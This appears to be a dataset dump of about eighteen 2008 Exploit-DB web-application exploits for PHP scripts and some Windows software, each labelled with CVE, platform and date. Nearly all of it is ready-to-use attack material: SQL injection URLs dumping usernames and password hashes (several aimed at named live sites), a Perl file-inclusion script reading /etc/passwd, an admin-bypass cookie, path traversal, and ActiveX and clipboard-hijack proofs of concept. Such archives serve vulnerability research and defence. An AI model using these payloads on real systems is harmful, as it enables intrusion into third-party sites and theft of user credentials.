QLWD/code_shield huggingface dataset:
标题: AdMan 1.1.20070907 - 'campaignId' SQL Injection EDB-ID: 6702 CVE: 2008-6156 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-08 漏洞利用脚本: ############### >>> Remote SQL Injection <<<  ###########
##    SuB-ZeRo(Walid)                                                              ##
################## >>> SuB-ZeRo  <<< ################
 author  :  SuB-ZeRo(algeria hackers)
 contact :  FbH@hotmail.com
                
 
 buy script : http://www.formfields.com/adManArea/adManPricing.php
dork    : find it
 exploit:
 www.site.me/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
 L!Ve DeMo  :::
 http://www.formfields.com/adManArea/adMan1/adMan/advertiser/editCampaign.php?campaignId=-2'+union+select+concat(password,0x3a,username)+from+adman_users/*
 NoTe:YoU must singup and login in web sit and you put your exploit
########### Greetz #############
>>> SuB-ZeRo
>>>my best freinds :: x.CJP.X & ach2008 & carlos the jackel & HiSoK4
>>> all muslims

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6702
标题: Yourownbux 4.0 - 'cookie' SQL Injection EDB-ID: 6693 CVE: 2008-4492 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: ________                                            ._.
\______ \_______  ____ ______  ______ ____   ____   | |
 |    |  \_  __ \/  _ \\____ \/  ___// __ \_/ ___\  | |
 |    `   \  | \(  <_> )  |_> >___ \\  ___/\  \___   \|
/_______  /__|   \____/|   __/____  >\___  >\___  >  __
        \/             |__|       \/     \/     \/   \/
.____          ___.           
|    |   _____ \_ |__   ______
|    |   \__  \ | __ \ /  ___/
|    |___ / __ \| \_\ \\___ \ 
|_______ (____  /___  /____  >
        \/    \/    \/     \/ 

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]

-----[]===========[]=> Yourownbux v4.0 Blind SQL Injection Vulnerability ( referrals.php )

-----[]===========[]=> Discovered By: Tec-n0x 
    Contact: Tec-n0x <at> hotmail <dot> com

-----[]===========[]=> DropSec.com =~ Lab's ..!!

-----[]===========[]=> Gr33tz:
   Celciuz, MurdeR, OzX, N.O.X, JosS, DDoS && All Friends
   
   Special Gr33tz to: C1c4tr1Z ( http://lowsec.org )

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]

  POC: 

 Go to => http://site.com/referrals.php  ( Logged in )
 javascript:document.cookie="usNick=' AND 1=0 /*; expires=Thu, 2 Aug 2020 20:45:20 UTC; path=/";

  => Modify : ' AND 1=0 /* With Injection's.
    
  => Example: ' AND ascii(substring((SELECT password FROM yob_users where id=1),1,1))=100 /*
  
  => When You got the Hash ... Add the cookie usNick with the user [ Extract it with blind if you dont know ] 
   and the SHA1 Hash ( Exploit is going to be available Next Week on DropSec.com ).

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]
    

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6693
标题: PHP Realtor 1.5 - 'v_cat' SQL Injection EDB-ID: 6694 CVE: 2008-4496 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Realtor 1.5 ( view_cat.php v_cat )
##
## http://selectdevelopment.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./view_cat.php?v_cat=1+union+select+concat_ws(0x3a,username,password)MrSQL+from+users+limit+1,1--
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6694
标题: TorrentTrader Classic 1.04 - Blind SQL Injection EDB-ID: 6698 CVE: 2008-4494 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: ======================================================
 
==> TorrentTrader Classic <= 1.04 Blind SQL Injection Exploit
 
======================================================
 
==> NamE      : TorrentTrader Classic
 
==> version    : 1.04
 
==> Download : www.torrenttrader.org
 
======================================================
 
==> AuThOr : BazOka-HaCkEr
 
==> EmaiL   : x9j@HoTmaiL.Com
 
==> HomE   : WwW.TrYaG.cc/cc
 
======================================================
 
==> ExplO!te :
 
==> www.TarGeT.com/paTh/completed-advance.php?id=[SQL]
 
==> ExampLe :
 
==> www.TarGeT.com/tracker/completed-advance.php?id=180+AND ascii(SUBSTRING((SELECT Count(password) FROM users LIMIT 1,1)1,1)
 
======================================================
 
==> GreeTz :
 
==> ll Abu-Mahdi ll FeezO ll Mr.SQL ll MoGaTiL ll Abo-Najm ll alra7el ll
 
======================================================

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6698
标题: PHP Auto Dealer 2.7 - 'v_cat' SQL Injection EDB-ID: 6695 CVE: 2008-4495 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Auto Dealer 2.7 ( view_cat.php v_cat )
##
## http://selectdevelopment.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./view_cat.php?v_cat=-1/**/UNION/**/SELECT/**/CONCAT_WS(0x3a,username,password)MrSQL/**/FROM/**/users/**/limit+1,1--
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6695
标题: PHP Autos 2.9.1 - 'catid' SQL Injection EDB-ID: 6696 CVE: 2008-4498 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Auto's V2.9.1 ( searchresults.php catid )
##
## http://www.phpautos.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./searchresults.php?catid=-1'/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,username,password,email)MrSQL,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+tblusers/*
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6696
标题: WebBiscuits Modules Controller 1.1 - Remote File Inclusion / Remote File Disclosure EDB-ID: 6703 CVE: 2008-6139 2008-6138 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-08 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

WebBiscuits Modules Controller <= 1.1 (RFI/RFD) Multiple Remote Vulnerabilities
Script : http://webbiscuits.com/download/all11.zip
I- Remote File Inclusion Vulnerability
http://xx.com/adminhead.php?path[docroot]=020.txt
And More Files ....
II- Remote File Disclosure Vulnerability
http://xx.com/faqsupport/wce.download.php?download=../../../../../../../../../../../../../etc/passwd
   
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6703
标题: Microsoft PicturePusher - ActiveX Cross-Site Arbitrary File Upload EDB-ID: 6699 CVE: 2008-4493 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-08 漏洞利用脚本: <!--
Microsoft PicturePusher ActiveX (PipPPush.DLL 7.00.0709) remote Cross Site File 
Upload attack POC (IE6)
by Nine:Situations:Group::pyrokinesis

bug discovered by rgod during early March 2008

tested software: Microsoft Digital Image 2006 Starter Edition
works fine against IE6, with some warnings with IE7

dll settings: 
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data 

This control allows to build highly customized POST requests against private 
upload facilities, using the browser as a proxy to bounce them and by injecting 
a filename sub-field through ex. the AddString() method

The magic packet :

POST /?aaaa=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0) [MSN Communities Active-X Upload Control]
Host: 127.0.0.1
Content-Length: 181
Cache-Control: no-cache

-----------------------------
Content-Disposition: form-data; name="aaaa"; filename="suntzu.test" 
Content-Type: text/plain; AAAA: ""

xxxxxxxx
-------------------------------

-->
<HTML>
<OBJECT classid='clsid:507813C3-0B26-47AD-A8C0-D483C7A21FA7' id='PicturePusherControl' />
</OBJECT>
<script language='vbscript'>
    'PicturePusherControl.PostURL = "http://127.0.0.1/?aaaa=1"
    PicturePusherControl.PostURL = "http://192.168.1.1/?aaaa=1"
    PicturePusherControl.AddSeperator
    CRLF = unescape("%0d%0a")
    FormElementName="aaaa""; filename=""suntzu.test"" " + CRLF + "Content-Type: text/plain; AAAA: """
    Value="xxxxxxxx"
    'for some reason cannot do this with AddFile() method, however...
    PicturePusherControl.AddString FormElementName ,Value 
    PicturePusherControl.Post
</script>

# milw0rm.com [2008-10-08] URL: https://www.exploit-db.com/exploits/6699
标题: Yerba SACphp 6.3 - Multiple Vulnerabilities EDB-ID: 6691 CVE: 2008-5873 2008-4486 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-07 漏洞利用脚本: [*]~======================================================~[*] 
 [*]   Yerba SACphp <= 6.3 Multiple Remote Vulnerabilities  [*]
 [*]~======================================================~[*]
 
 [?] Discovered By StAkeR - StAkeR[at]hotmail[dot]it
 [?] Discovered On 07/10/2008
 [?] http://downloads.sourceforge.net/yerba/SACphp-6_28.tgz?modtime=1025222400&big_mirror=0

 [?] Admin Login ByPass
 [?] javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="

 [?] Privilege Escalation 
 [?] index.php?SID=[path (base64 encoded)]

 [?] Arbitrary Database Download
 [?] index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==

 [?] Arbitrary Add Admin 
 [?] index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6691
标题: Yerba SACphp 6.3 - Local File Inclusion EDB-ID: 6687 CVE: 2008-4486 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-06 漏洞利用脚本: #!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Yerba SACphp <= 6.3 / Local File Inclusion Exploit
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Program: Yerba SACphp
# Version: <= 6.3
# File affected: index.php
# Download: http://sourceforge.net/projects/yerba/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Bug:
# 37-  include("modulos/$mod/mod_nucleo.php");


use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

unless($ARGV[1]){
 print "\nUsage: perl $0 <host> <file_to_edit>\n";
 print "\tex: perl $0 http://localhost /etc/passwd\n\n";
 exit 1;
}

$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("mod=../../../../../".$file."%00");

$request = $ua->request($req);
$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "\n";

exit;

# milw0rm.com [2008-10-06] URL: https://www.exploit-db.com/exploits/6687
标题: FOSS Gallery Public 1.0 - Arbitrary File Upload (PoC) EDB-ID: 6680 CVE: 2008-4509 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
FOSS Gallery Public Version <= 1.0 / Arbitrary file upload Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Program: FOSS Gallery Public Version
Version: <= 1.0
File affected: processFiles.php
Download: http://sourceforge.net/projects/fossgallery/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

-- Bug --
Website doesn't check the images format and you can upload PHP files.

-- Exploit --
http://localhost/shell.php

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6680
标题: PHP-Fusion Mod recept - 'kat_id' SQL Injection EDB-ID: 6683 CVE: 2008-4527 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: ########################################################
PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group-=]
++++++++++++++++++++++++++++


[+] Dork:     infusions/recept/recept.php?

[+] Example:         http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=[ exploit ]

[+] Exploit
--------------------------------
username:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_name,4,5,6,7+from+fusion_users--+

password: 
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+

email:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_email,4,5,6,7+from+fusion_users--+
--------------------------------


[+] liveDEMO: 

http://usmalayali.com/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+


============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6683
标题: Hammer Software MetaGauge 1.0.0.17 - Directory Traversal EDB-ID: 6686 CVE: 2008-4421 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-06 漏洞利用脚本: Title: MetaGauge 1.0.0.17 Directory Traversal

-------------------------------------------------------------

Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server. 

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com

# milw0rm.com [2008-10-06] URL: https://www.exploit-db.com/exploits/6686
标题: Fastpublish CMS 1.9999 - Local File Inclusion / SQL Injection EDB-ID: 6678 CVE: 2008-4519 2008-4518 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: fastpublish CMS
Version: 1.9.9.9.9.d
URL: www.fastpublish.de
Download: http://www.fastpublish.de/rich_files/attachments/downloads/fastpublish_19999d_trial.zip
Vulnerability Class: SQL Injection

SQL Injection

Exploit 1:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type,user_name,user_pw),7,8,9,10+from+fastpublish__forumen_userdata/*

Exploit 2:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type,user_name,user_pw),7,8,9,10+from+fastpublish__forum_de_userdata/*

Exploit 3:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,benutzer,passwortm,email),7,8,9,10+from+fastpublish_benutzer/*

Exploit 4:

http://localhost/[installdir]/index.php?artikel=-1+union+select+1,2,concat_ws(0x3a,user_type,user_name,user_pw),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+fastpublish__forumen_userdata/*

Example:

http://www.jeremias-d-meissner.de/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type  ,user_name,user_pw),7,8,9,10+from+fastpublish__for  um_de_userdata/*

File inclusion

http://localhost/index2.php?artikel=3&target=./[file]

http://localhost/index.php?artikel=2&target=./[file]

Example:

http://www.jeremias-d-meissner.de/index2.php?artikel=3&target=./forgotpassword.php

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6678
标题: phpAbook 0.8.8b - 'cookie' Local File Inclusion EDB-ID: 6679 CVE: 2008-4490 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: # phpAbook <= 0.8.8b (COOKIE) Local File Inclusion Vulnerability
# url: http://sourceforge.net/projects/phpabook/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# *Requirements: magic_quotes_gpc = Off

vuln file: include/config.inc.php
vuln code:

x:  >...
61: if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
 $userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
 $userName = $userArray[0];
 $userID = $userArray[1];
 $userLang = $userArray[2];
 include("include/lang/$userLang/inc.messages.php");
67: }
x:  <...

Proof of Concept (function 'explode' PHP):
[0] = JosS;
[1] = JosS;
[2] = ../../../../etc/passwd%00; ---> INCLUDE

exploit: 
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";

Ingenious work :D

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6679
标题: PHP-Fusion Mod raidtracker_panel - 'INFO_RAID_ID' SQL Injection EDB-ID: 6682 CVE: 2008-4521 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: ########################################################
PHP-Fusion Mod raidtracker_panel (INFO_RAID_ID) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group=-]
++++++++++++++++++++++++++++


[+] Dork:      infusions/raidtracker_panel/thisraidprogress.php?

[+] Example:         http://localhost/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=[ exploit ]

[+] Exploit
--------------------------------

http://www.xxxxxxx.com/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=-9999+union+all+select+1,2,3,user_name,user_password,6+from+fusion_users--

--------------------------------


[+] liveDEMO: 

http://differenceguild.com/infusions/raidtracker_panel/thisraidprogress.php?INFO_RAID_ID=-9999+union+all+select+1,2,3,user_name,user_password,6+from+fusion_users--

ps. 
Raidgroup: [ Here username]
Ingame Raid ID: [ Here password ]

============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6682
标题: Skype Extension for Firefox Beta 2.2.0.95 - Clipboard Writing EDB-ID: 6690 CVE: 2008-5697 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-07 漏洞利用脚本: <!---------------------------------------------------------------------------
 Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC
 download: https://developer.skype.com/SkypeToolbars
 
 Author: irk4z[at]yahoo.pl
 homepage: http://irk4z.wordpress.com/
 
 greets: all friends 
---------------------------------------------------------------------------->
<a href="#" onclick="check_it();" >test it!</a>


<script type="text/javascript">

function copy_to_clipboard( text ){
 if (skype_tool) {
  var copy_it = text + '\0+'; //use null byte to copy value, because '+' char must be in string
  skype_tool.copy_num( copy_it );
 }
}

function check_it(){
 //copy_to_clipboard('malicious text!!!!!!!!!!!\n\n\n!!');
 //copy_to_clipboard('http://irk4z.wordpress.com/');
 copy_to_clipboard('http://malicious.link.to.bad.page/');
 alert('Done! Check your clipboard!');
}

</script>

# milw0rm.com [2008-10-07] URL: https://www.exploit-db.com/exploits/6690